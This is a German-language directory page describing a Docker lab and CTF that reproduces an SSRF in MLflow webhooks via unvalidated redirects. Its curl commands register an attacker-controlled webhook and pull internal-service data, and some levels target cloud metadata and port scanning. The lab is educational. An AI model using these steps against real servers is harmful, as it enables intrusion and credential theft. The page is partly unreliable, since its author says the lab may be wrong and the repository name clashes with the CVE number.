Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-64849-poc-lab — Este laboratorio puede estar bien o mal, pregúntale a la IA, estoy probando pero debe funcionar jajajaja | Kitploit
Tools/GitHubGitHub/isaca0315/cve-2026-64849-poc-lab
SchwachstellenanalyseExploitationWebsicherheitCTFPenetrationstestsLernen & BildungLabs & Praxis
GitHubisaca0315/cve-2026-64849-poc-lab

CVE-2026-64849-poc-lab

Este laboratorio puede estar bien o mal, pregúntale a la IA, estoy probando pero debe funcionar jajajaja

Repository anzeigen
vor 9h 32mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Sicherheitslabor — Ausnutzung von SSRF in MLflow-Webhooks

CVE-2026-64849 · MLflow < 3.15.0 · Server-Side Request Forgery (SSRF)

Praktisches Labor und Reproduktion der CVE-2026-64849: eine SSRF-Schwachstelle in MLflow, verursacht durch einen TOCTOU-Fehler (Time-of-Check / Time-of-Use) bei der Verarbeitung von Webhooks. MLflow validiert die ursprüngliche Webhook-URL, folgt aber HTTP-Redirects (302) ohne erneute Validierung des Ziels, wodurch ein Angreifer ohne Authentifizierung interne Dienste erreichen kann, auf die er keinen Zugriff haben sollte (internal-service:8888).

Eingeschränkte Nutzung: Labormaterial, ausschließlich für autorisierte Netzwerke und Umgebungen. Siehe Rechtlicher Hinweis.


1. Management-Zusammenfassung

AttributWert
SchwachstelleCVE-2026-64849 — SSRF via Webhook Redirect Bypass
Betroffene KomponenteMLflow Tracking Server (< 3.15.0)
Lab-VersionMLflow 3.13.0 (unverändert, via pip install)
GrundursacheTOCTOU: validiert die URL, folgt der 302 ohne erneute Validierung
VektorHTTP; ohne Authentifizierung
Gemeldete SchwereKRITISCH (CVSS 9.3) — laut Banner des Lab-Exploits
ErgebnisZugriff auf interne Dienste, Diebstahl von Anmeldedaten, Port-Scanning
Geschätzte Dauer15–20 Minuten
NiveauFortgeschritten (Web-App-Sicherheit / Offensive Security)

2. Beschreibung der Schwachstelle

MLflow ermöglicht die Registrierung von Webhooks, die bei Ereignissen (Modelldaten, Experimente usw.) HTTP-Anfragen auslösen. Vor dem Speichern der URL wird eine Validierung angewendet (Schema, private IPs, IP-Metadaten). Der Fehler tritt auf, weil:

  1. Time-of-Check: MLflow validiert die ursprüngliche Webhook-URL → besteht.
  2. Time-of-Use: während der Anfrage, wenn die Antwort 3xx ist, folgt die Bibliothek requests automatisch dem Redirect und validiert die Ziel-URL nie erneut.

Der Angreifer kontrolliert den ersten Sprung (einen Server, der mit 302 auf einen internen Dienst antwortet) und MLflow fungiert als Proxy in das interne Netzwerk.

Vollständige technische Analyse siehe EXPLOITATION_GUIDE.md §6.


3. Lernziele

Nach Abschluss des Labs ist der Teilnehmer in der Lage:

  1. Eine SSRF zu identifizieren, die durch das Folgen von Redirects ohne erneute Validierung verursacht wird (TOCTOU).
  2. Den vollständigen Ablauf nachzubilden: Registrierung des Webhooks, Auslösen von /test und Exfiltration des internen Dienstes.
  3. Zwischen der "scheinbaren" Validierung (Time-of-Check) und der tatsächlichen Nutzung (Time-of-Use) zu unterscheiden.
  4. Angriffsvarianten auszuführen: Exfiltration anderer Endpunkte, Cloud-Metadaten (IMDS), Blind-SSRF/Port-Scanning, öffentlicher Redirector und DNS-Rebinding (theoretisch).
  5. Remediation anzuwenden: Upgrade auf MLflow ≥ 3.15.0, Authentifizierung und Netzwerk-Kontrollen.

4. Zielgruppe und Voraussetzungen

Zielgruppe: Studierende und Fachleute für offensive Sicherheit, Pentester, Anwendungssicherheits-Prüfer und Entwickler, die MLflow verwenden.

Software-Anforderungen:

WerkzeugMindestversion
Docker + Docker ComposeDocker 20.x / Compose v2
curl—
jq1.6+
bash—

Es sind keine Anmeldedaten oder Authentifizierung in MLflow erforderlich (der Angriff ist unauthentifiziert). Kein Zugriff auf das interne Netzwerk erforderlich: Das Labor stellt dieses bereit.


5. Architektur und Topologie

root@kitploit:~
                 host                                   internes Docker-Netzwerk (lab_network)
┌──────────────────────────────┐   ┌────────────────────────────────────────────────┐
│  Angreifer (curl / bash)     │   │                                                │
│       │                      │   │   mlflow-vulnerable      attacker_server       │
│       ▼                      │   │   (5000, MLflow 3.13.0)  (8080, responder 302) │
│ http://localhost:5000        │   │        │  Webhook-URL          ▲                │
│ http://localhost:8080        │   │        ▼───────────────────────┘                │
│ http://localhost:8888 ✗      │   │        │ 302 Location: internal-service         │
│                              │   │        ▼  (SSRF, folgt dem Redirect)            │
│                              │   │   internal-service (8888)   ← KEINE Ports zum   │
│                              │   │        "/admin/secret"           Host           │
│                              │   └───────────────────────────────────────────────┘
└──────────────────────────────┘
KomponentePortRolle im LaborModifiziert?
mlflow-vulnerable5000Opfer / verwundbarer Client (MLflow 3.13.0 Stock)Nein
attacker-server8080Angreifer-Server: /webhook → 302, /redirect?url=, /metadata, DashboardNur do_HEAD
internal-service8888Opfer in lab_network; /admin/secret und /api/internal/configNein

Integritätsdetail: Der verwundbare Dienst und der interne Dienst wurden nicht modifiziert. Siehe EXPLOITATION_GUIDE.md §14.


6. Schnellstart (Setup + automatische Ausnutzung)

root@kitploit:~
cd mlflow-ssrf-lab
bash run_lab.sh start      # startet die 3 Container und wartet auf MLflow
bash run_lab.sh exploit    # nutzt automatisch aus (SSRF → Flag von Level 1)

Geführte Demo Schritt für Schritt (interaktives Menü):

root@kitploit:~
bash manual_exploitation_interactive.sh

🏁 CTF-Modus (MANUELLE Lösung): Das Labor ist eine Herausforderung mit mehreren Ebenen. Jede Flag hinterlässt den Hinweis für die nächste Ebene, sodass das Erreichen jeder Flag "Sinn ergibt". Und der Witz ist, es von Hand zu machen: ctf_lab.sh nutzt nichts für dich aus, es führt dich nur und validiert deine Flag:

root@kitploit:~
bash ctf_lab.sh            # interaktives CTF-Menü
bash ctf_lab.sh nivel 1    # Anweisungen + Hinweis der Ebene (Befehle, die DU MANUELL AUSFÜHRST)
bash ctf_lab.sh flag '<flag>'   # validiert die Flag, die du exfiltriert und dekodiert hast (+Punkte)
bash ctf_lab.sh status     # abgeschlossene Ebenen + Punktzahl (235 Pkt., ohne Flags anzuzeigen)
bash ctf_lab.sh hint 2     # Hinweis einer Ebene
bash ctf_lab.sh reset      # Fortschritt löschen

Referenzen des Skripts run_lab.sh:

root@kitploit:~
bash run_lab.sh start     # start (Standard) + Status-Endpunkt
bash run_lab.sh exploit   # führt exploit.py im mlflow-Container aus
bash run_lab.sh manual    # zeigt die curl-Befehle Schritt für Schritt
bash run_lab.sh logs      # verfolgt die Logs in Echtzeit
bash run_lab.sh stop      # stoppt Container
bash run_lab.sh clean     # stoppt und löscht Lab-Daten

7. Ausnutzungsverfahren (3 Befehle)

Alle Aufrufe von /test erfordern den Header Content-Type: application/json; ohne ihn antwortet MLflow 3.13 mit 400 Bad Request.

root@kitploit:~
# 1. Webhook erstellen, der auf den Angreifer-Server zeigt (leitet zur Wurzel des internen Portals um, Level 1)
WEBHOOK_ID=$(curl -s -X POST http://localhost:5000/api/2.0/mlflow/webhooks \
  -H "Content-Type: application/json" \
  -d '{"name":"ssrf_test","url":"http://attacker_server:8080/webhook","events":[{"entity":"MODEL_VERSION","action":"CREATED"}]}' \
  | jq -r '.webhook.webhook_id')

# 2. /test auslösen → MLflow validiert die URL, folgt der 302 bis zum internen Dienst
curl -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
  -H "Content-Type: application/json" -d '{}'

# 3. Exfiltrierte Daten extrahieren (verschachtelt in result.response_body)
curl -s -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
  -H "Content-Type: application/json" -d '{}' \
  | jq -r '.result.response_body | fromjson'

Erwartetes Ergebnis von Schritt 3 (Level 1 des CTF):

root@kitploit:~
{
  "service": "internal-admin-portal",
  "banner": "Portal administrativo interno — solo alcanzable desde la red interna",
  "nivel": 1,
  "flag_enc": "ZmxhZ3tuMV9lbnVtZXJhY2lvbl9zc3JmfQ==",
  "flag_decoding": "echo ZmxhZ3tuMV9lbnVtZXJhY2lvbl9zc3JmfQ== | base64 -d",
  "pista": "El portal expone recursos bajo /admin/ y /api/. Busca credenciales de administrador."
}

Die Flag reist verschlüsselt (flag_enc) und die Antwort selbst gibt dir den Befehl zum Dekodieren (flag_decoding). Das Ziel ist es, sie per SSRF zu exfiltrieren und zu dekodieren; und ihr pista führt dich zu Level 2. Die Schritt-für-Schritt-Details, die Analyse des Bugs und die Remediation finden sich in EXPLOITATION_GUIDE.md.


8. CTF-Modus — Ebenen

Das Labor ist ein CTF mit progressiven Ebenen: Jede Flag hinterlässt einen pista, der zum nächsten Ziel führt, sodass das Erreichen jeder Flag Sinn ergibt. Alle Ebenen werden mit derselben Basistechnik gelöst (SSRF via Redirect), wobei der Schwierigkeitsgrad der Technik und der Entdeckung steigt.

EbeneTechnik / EntdeckungZiel (SSRF)FlagPunkte
1Basis-Redirectinternal-service:8888/base6410
2Enumeration von /admin/internal-service:8888/admin/secrethex25
3Enumeration von /api/internal-service:8888/api/internal/configbase6440
4Cloud-Metadaten (IMDS)internal-service:8888/latest/meta-data/...base64 + rev60
5 (FINAL)Blind-SSRF + versteckten Dienst auf Port 8889 entdeckeninternal-service:8889/admin/finalXOR + base64100

Die Flags reisen verschlüsselt im Feld flag_enc der Antwort und jede Antwort enthält flag_decoding (den genauen Befehl zum Dekodieren). Die Klartext-Flag flag{...} erscheint in keinem Skript oder Dokument: Sie muss per SSRF exfiltriert und dekodiert werden (die automatischen Skripte zeigen keine Flags).

Lab-Regel: Flag nur durch erfolgreiche SSRF (echte Exfiltration von Daten des internen Dienstes via Redirect). Was keine SSRF ist oder im Labor nicht reproduzierbar ist, ergibt keine Flag (z. B. das direkte /metadata des Angreifers, DNS-Rebinding, whcli-Tunnel, blinder Scan ohne Exfiltration).

Spielen: bash ctf_lab.sh (interaktives Menü). Manuelle Lösung nach Ebenen in REDTEAM_GUIDE.md (offensive Übung Befehl für Befehl) und EXPLOITATION_GUIDE.md (vollständiges technisches Verfahren).


9. Eingearbeitete technische Korrekturen (Änderungskontrolle)

Während der Konsolidierung des Labs wurden die folgenden Korrekturen angewendet, bereits verifiziert und in allen Befehlen der Dokumentation berücksichtigt:

#KorrekturAuswirkung
1POST /test sendet jetzt Content-Type: application/json (und -d '{}')Beseitigt den 400 Bad Request von MLflow 3.13 und den Fehler jq: null beim Extrahieren von response_body
2attacker_server.py unterstützt die Methode HEAD (do_HEAD)curl -I .../webhook gibt 302 Found statt 501 Unsupported method zurück
3Verwendung der echten API POST /api/2.0/mlflow/webhooksVermeidet den 405 von nicht existierenden Routen (/webhooks/create)

10. Repository-Struktur

root@kitploit:~
CVE-2026-29000-poc-lab/
├── README.md                          ← Diese Datei (Index / Titelseite des Labs)
├── REDTEAM_GUIDE.md                   ← Manuelle Übung im Red-Team-Stil: Recon → Hypothese → Exploit
├── EXPLOITATION_GUIDE.md              ← Vollständiges Lab-Verfahren (SSRF, Variationen, Integrität)
├── manual_exploitation_interactive.sh ← Interaktive Schritt-für-Schritt-Demo (Menü)
└── mlflow-ssrf-lab/                   ← Code und Orchestrierung des Labs
    ├── docker-compose.yml             ← 3 Container (mlflow, attacker, internal)
    ├── exploit.py                     ← Automatisierter Exploit (wird im Container ausgeführt)
    ├── attacker_server.py             ← Angreifer-Server (konfigurierbare 302)
    ├── internal_service.py            ← Interner "geschützter" Dienst (Portal 8888 + versteckter Dienst 8889)
    ├── ctf_lab.sh                     ← Manuelle CTF-Anleitung (Anweisungen + Hinweise + Flag-Validator)
    ├── run_lab.sh                     ← start / exploit / manual / logs / stop / clean
    └── mlflow_data/                   ← Generierte Daten (SQLite-DB, Artefakte)

11. Rechtlicher Hinweis

  • Bildungslabor. Das Ausnutzen von Systemen ohne Autorisierung ist illegal.
  • Diese Umgebung isoliert den Angriff innerhalb des virtuellen Docker-Netzwerks lab_network; sie setzt den internen Dienst nicht dem Host aus.
  • Das exploit.py ist ein Verifikationswerkzeug des Labs und wird innerhalb des MLflow-Containers über das simulierte interne Netzwerk ausgeführt (siehe EXPLOITATION_GUIDE.md §14).
  • Wende dich an die verantwortungsvolle Offenlegung des Anbieters (MLflow/Databricks), wenn du eine Variante in einer realen Umgebung findest.

12. Referenzen

  • MLflow GitHub Issue #24179
  • OWASP Server-Side Request Forgery Prevention Cheat Sheet
  • CWE-918: Server-Side Request Forgery
  • TOCTOU (OWASP)
Tool herunterladen